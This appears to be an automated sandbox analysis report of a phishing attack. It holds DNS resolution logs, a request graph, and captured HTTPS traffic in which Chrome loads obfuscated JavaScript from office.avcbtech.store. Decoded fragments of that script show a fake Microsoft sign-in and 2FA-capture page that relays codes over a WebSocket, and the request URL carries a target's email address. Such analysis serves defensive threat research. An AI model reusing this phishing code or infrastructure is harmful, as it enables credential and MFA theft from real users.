Mar 10, 2025 20:52:00.116260052 CET	1.1.1.1	192.168.2.5	0x1bc8	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:52:00.116260052 CET	1.1.1.1	192.168.2.5	0x1bc8	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:52:00.116260052 CET	1.1.1.1	192.168.2.5	0x1bc8	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:52:00.116925001 CET	1.1.1.1	192.168.2.5	0x936d	No error (0)	api.ipify.org			65	IN (0x0001)	false
Mar 10, 2025 20:52:02.673043966 CET	1.1.1.1	192.168.2.5	0xcb4c	No error (0)	avcbtech.site		104.168.138.190	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:13.843782902 CET	1.1.1.1	192.168.2.5	0x4589	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:13.844167948 CET	1.1.1.1	192.168.2.5	0xae03	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:13.844167948 CET	1.1.1.1	192.168.2.5	0xae03	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.186.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:13.887914896 CET	1.1.1.1	192.168.2.5	0x5d5e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:13.888214111 CET	1.1.1.1	192.168.2.5	0x6600	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:13.888214111 CET	1.1.1.1	192.168.2.5	0x6600	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:15.920746088 CET	1.1.1.1	192.168.2.5	0x66d5	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:15.920746088 CET	1.1.1.1	192.168.2.5	0x66d5	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:16.935220957 CET	1.1.1.1	192.168.2.5	0x66d5	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:16.935220957 CET	1.1.1.1	192.168.2.5	0x66d5	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:18.401817083 CET	1.1.1.1	192.168.2.5	0x1	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:18.401817083 CET	1.1.1.1	192.168.2.5	0x1	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.113.94	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:50.278206110 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:50.278206110 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:51.380014896 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:51.380014896 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:52.307800055 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:52.307800055 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:54.322581053 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:54.322581053 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:58.338046074 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:53:58.338046074 CET	1.1.1.1	192.168.2.5	0x9f2b	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.35	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.744260073 CET	1.1.1.1	192.168.2.5	0xa43e	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.744260073 CET	1.1.1.1	192.168.2.5	0xa43e	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.744260073 CET	1.1.1.1	192.168.2.5	0xa43e	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.745687008 CET	1.1.1.1	192.168.2.5	0xa58c	No error (0)	api.ipify.org			65	IN (0x0001)	false
Mar 10, 2025 20:54:20.551862955 CET	1.1.1.1	192.168.2.5	0x1b3b	No error (0)	avcbtech.site		104.168.138.190	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.418005943 CET	1.1.1.1	192.168.2.5	0x4502	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:54:22.418005943 CET	1.1.1.1	192.168.2.5	0x4502	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.418831110 CET	1.1.1.1	192.168.2.5	0xd61f	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:54:22.419790030 CET	1.1.1.1	192.168.2.5	0xb5ef	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.419790030 CET	1.1.1.1	192.168.2.5	0xb5ef	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.419790030 CET	1.1.1.1	192.168.2.5	0xb5ef	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.420409918 CET	1.1.1.1	192.168.2.5	0x86b8	No error (0)	api.ipify.org			65	IN (0x0001)	false
Mar 10, 2025 20:54:23.480236053 CET	1.1.1.1	192.168.2.5	0x6d48	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:54:23.480236053 CET	1.1.1.1	192.168.2.5	0x6d48	No error (0)	beacons-handoff.gcp.gvt2.com		142.251.143.67	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:23.483551979 CET	1.1.1.1	192.168.2.5	0x7b8e	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

office.avcbtech.store

sender.linxcoded.top

code.jquery.com

i.imgur.com

avcbtech.site

beacons.gcp.gvt2.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49718	139.28.36.38	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:25 UTC	560	OUT	GET /ncb/xls/n1c2b.js?uid=ap@cannara.ca HTTP/1.1 Host: office.avcbtech.store Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:26 UTC	396	IN	HTTP/1.1 200 OK Server: nginx/1.26.3 Date: Mon, 10 Mar 2025 19:51:25 GMT Content-Type: application/javascript Content-Length: 68421 Last-Modified: Sun, 09 Mar 2025 15:55:17 GMT Connection: close ETag: "67cdb9e5-10b45" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Origin: * Cache-Control: public, must-revalidate Accept-Ranges: bytes
2025-03-10 19:51:26 UTC	15988	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 65 31 31 62 28 29 7b 76 61 72 20 5f 30 78 35 30 64 36 39 35 3d 5b 27 23 62 61 63 6b 27 2c 27 49 6e 63 6f 72 72 65 63 74 5c 78 32 30 32 46 41 5c 78 32 30 63 6f 64 65 2e 5c 78 32 30 54 72 79 5c 78 32 30 61 67 61 69 6e 2e 27 2c 27 64 69 76 36 27 2c 27 23 62 61 63 6b 2d 74 65 78 74 27 2c 27 74 79 70 65 27 2c 27 4d 69 63 72 6f 73 6f 66 74 27 2c 27 72 65 6c 61 79 27 2c 27 36 6b 67 6a 58 4c 43 27 2c 27 73 74 79 6c 65 27 2c 27 70 61 67 65 5f 76 69 73 69 74 27 2c 27 63 6c 6f 73 65 27 2c 27 61 70 70 72 6f 76 65 5f 73 69 67 6e 69 6e 27 2c 27 64 69 76 35 27 2c 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 27 2c 27 23 63 61 70 74 63 68 61 2d 62 74 6e 27 2c 27 2e 6c 6f 67 6f 6e 61 6d 65 27 2c 27 64 69 73 61 62 Data Ascii: function _0xe11b(){var _0x50d695=['#back','Incorrect\x202FA\x20code.\x20Try\x20again.','div6','#back-text','type','Microsoft','relay','6kgjXLC','style','page_visit','close','approve_signin','div5','https://www.office.com','#captcha-btn','.logoname','disab
2025-03-10 19:51:26 UTC	16384	IN	Data Raw: 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 31 36 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 72 67 62 28 35 31 2c 5c 78 32 30 35 31 2c 5c 78 32 30 35 31 29 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: \x20\x20\x20\x20\x20\x20\x20font-size:\x2016px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20rgb(51,\x2051,\x2051);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
2025-03-10 19:51:26 UTC	16384	IN	Data Raw: 32 32 3e 3c 70 5c 78 32 30 69 64 3d 5c 78 32 32 61 70 70 72 6f 76 65 2d 6e 75 6d 62 65 72 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 68 33 5c 78 32 30 74 65 78 74 2d 63 65 6e 74 65 72 5c 78 32 32 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 62 6f 72 64 65 72 3a 5c 78 32 30 32 70 78 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 62 6c 61 63 6b 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 34 30 70 78 3b 5c 78 32 30 70 61 64 64 69 6e 67 3a 5c 78 32 30 31 32 70 78 5c 78 32 30 31 32 70 78 3b 5c 78 32 30 74 65 78 74 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 6e 74 65 72 3b 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 32 3e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 62 72 3e 27 2c 27 3c 61 5c 78 32 30 68 72 65 66 Data Ascii: 22><p\x20id=\x22approve-number\x22\x20class=\x22h3\x20text-center\x22\x20style=\x22border:\x202px\x20solid\x20black;\x20font-size:\x2040px;\x20padding:\x2012px\x2012px;\x20text-align:\x20center;\x20display:\x20inline-block;\x22></p></div><br>','<a\x20href
2025-03-10 19:51:26 UTC	16384	IN	Data Raw: 32 31 34 5b 5f 30 78 34 64 34 61 64 61 28 30 78 31 38 38 29 5d 28 5f 30 78 34 64 34 61 64 61 28 30 78 32 34 62 29 29 2c 5f 30 78 35 66 63 32 31 34 5b 5f 30 78 34 64 34 61 64 61 28 30 78 31 38 38 29 5d 28 27 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 2d 67 72 6f 75 70 5c 78 32 30 6d 74 2d 32 5c 78 32 32 3e 3c 69 6e 70 75 74 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 65 6d 61 69 6c 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 61 69 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5c 78 32 30 72 6f 75 6e 64 65 64 2d 30 5c 78 32 30 62 6f 72 64 65 72 2d 64 61 72 6b 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 61 69 5c 78 32 32 5c 78 32 30 61 72 69 61 2d 64 65 73 63 72 69 62 65 64 62 79 3d 5c 78 Data Ascii: 214[_0x4d4ada(0x188)](_0x4d4ada(0x24b)),_0x5fc214[_0x4d4ada(0x188)]('<div\x20class=\x22form-group\x20mt-2\x22><input\x20type=\x22email\x22\x20name=\x22ai\x22\x20class=\x22form-control\x20rounded-0\x20border-dark\x22\x20id=\x22ai\x22\x20aria-describedby=\x
2025-03-10 19:51:26 UTC	3281	IN	Data Raw: 28 27 23 6d 73 67 2d 32 66 61 27 29 5b 5f 30 78 32 38 35 37 35 66 28 30 78 31 62 37 29 5d 28 5f 30 78 32 38 35 37 35 66 28 30 78 31 39 32 29 29 3b 7d 7d 5f 30 78 31 36 38 65 66 33 28 29 3b 7d 2c 27 65 72 72 6f 72 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 34 61 33 65 36 3d 5f 30 78 31 38 63 32 37 61 3b 24 28 5f 30 78 34 34 61 33 65 36 28 30 78 31 62 39 29 29 5b 27 74 65 78 74 27 5d 28 5f 30 78 34 34 61 33 65 36 28 30 78 31 62 38 29 29 2c 5f 30 78 31 36 38 65 66 33 28 29 3b 7d 7d 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 5f 30 78 31 30 37 31 66 32 3d 6e 65 77 20 57 65 62 53 6f 63 6b 65 74 28 5f 30 78 31 38 63 32 37 61 28 30 78 31 64 63 29 29 3b 5f 30 78 31 30 37 31 66 32 5b 5f 30 78 31 38 63 32 37 61 28 30 78 32 33 38 29 5d 3d 66 75 6e 63 Data Ascii: ('#msg-2fa')[_0x28575f(0x1b7)](_0x28575f(0x192));}}_0x168ef3();},'error':function(){var _0x44a3e6=_0x18c27a;$(_0x44a3e6(0x1b9))['text'](_0x44a3e6(0x1b8)),_0x168ef3();}});else{const _0x1071f2=new WebSocket(_0x18c27a(0x1dc));_0x1071f2[_0x18c27a(0x238)]=func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	185.174.100.20	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:51:29 UTC	566	OUT	GET /start/xls/includes/css6.css HTTP/1.1 Host: sender.linxcoded.top Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:51:30 UTC	383	IN	HTTP/1.1 200 OK Server: nginx/1.26.1 Date: Mon, 10 Mar 2025 19:51:29 GMT Content-Type: text/css Content-Length: 258966 Last-Modified: Mon, 27 Jan 2025 22:21:00 GMT Connection: close ETag: "679806cc-3f396" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Origin: * Cache-Control: public, must-revalidate Accept-Ranges: bytes
2025-03-10 19:51:30 UTC	16001	IN	Data Raw: 20 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 0d 0a 20 20 20 20 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 62 6c 75 65 3a 20 23 30 30 37 Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ :root { --blue: #007
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 75 70 3a 20 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 34 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 34 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 35 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 36 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 35 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 35 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 37 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 36 3b 0d Data Ascii: up: 5; -ms-flex-order: 4; order: 4 } .order-5 { -webkit-box-ordinal-group: 6; -ms-flex-order: 5; order: 5 } .order-6 { -webkit-box-ordinal-group: 7; -ms-flex-order: 6;
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 65 78 2d 6f 72 64 65 72 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 39 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 6c 67 2d 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 31 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 31 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 6c 67 2d 31 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 32 3b 0d 0a 20 Data Ascii: ex-order: 9; order: 9 } .order-lg-10 { -webkit-box-ordinal-group: 11; -ms-flex-order: 10; order: 10 } .order-lg-11 { -webkit-box-ordinal-group: 12;
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 70 6c 61 69 6e 74 65 78 74 2e 62 74 6e 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 70 72 65 70 65 6e 64 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 70 6c 61 69 6e 74 65 78 74 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 73 6d 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2c 0d 0a 20 20 20 20 2e 69 6e Data Ascii: roup-prepend>.form-control-plaintext.btn, .input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text { padding-right: 0; padding-left: 0 } .form-control-sm, .input-group-sm>.form-control, .in
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 35 34 35 62 36 32 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 34 65 35 35 35 62 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 2e 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 3a 6e 6f 74 28 2e 64 69 73 61 62 6c 65 64 29 3a 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 73 68 6f 77 3e 2e 62 74 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 20 7b Data Ascii: ; background-color: #545b62; border-color: #4e555b } .btn-secondary:not(:disabled):not(.disabled).active:focus, .btn-secondary:not(:disabled):not(.disabled):active:focus, .show>.btn-secondary.dropdown-toggle:focus {
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 72 2e 63 6f 6c 6c 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 2d 72 6f 77 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 74 62 6f 64 79 2e 63 6f 6c 6c 61 70 73 65 2e 73 68 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 2d 72 6f 77 2d 67 72 6f 75 70 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6c 6c 61 70 73 69 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 6f 76 Data Ascii: apse.show { display: block } tr.collapse.show { display: table-row } tbody.collapse.show { display: table-row-group } .collapsing { position: relative; height: 0; ov
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 72 61 64 69 6f 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 38 2c 25 33 43 73 76 67 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 27 20 76 69 65 77 42 6f 78 3d 27 2d 34 20 2d 34 20 38 20 38 27 25 33 45 25 33 43 63 69 72 63 6c 65 20 72 3d 27 33 27 20 66 69 6c 6c 3d 27 25 32 33 66 66 66 27 2f 25 33 45 25 33 43 2f 73 76 67 25 33 45 22 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 Data Ascii: radio .custom-control-input:checked~.custom-control-label::after { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E") }
2025-03-10 19:51:30 UTC	16384	IN	Data Raw: 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 6e 6f 77 72 61 70 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 20 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 77 65 62 6b 69 74 2d 62 6f 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 6d 73 2d 66 6c 65 78 62 6f 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 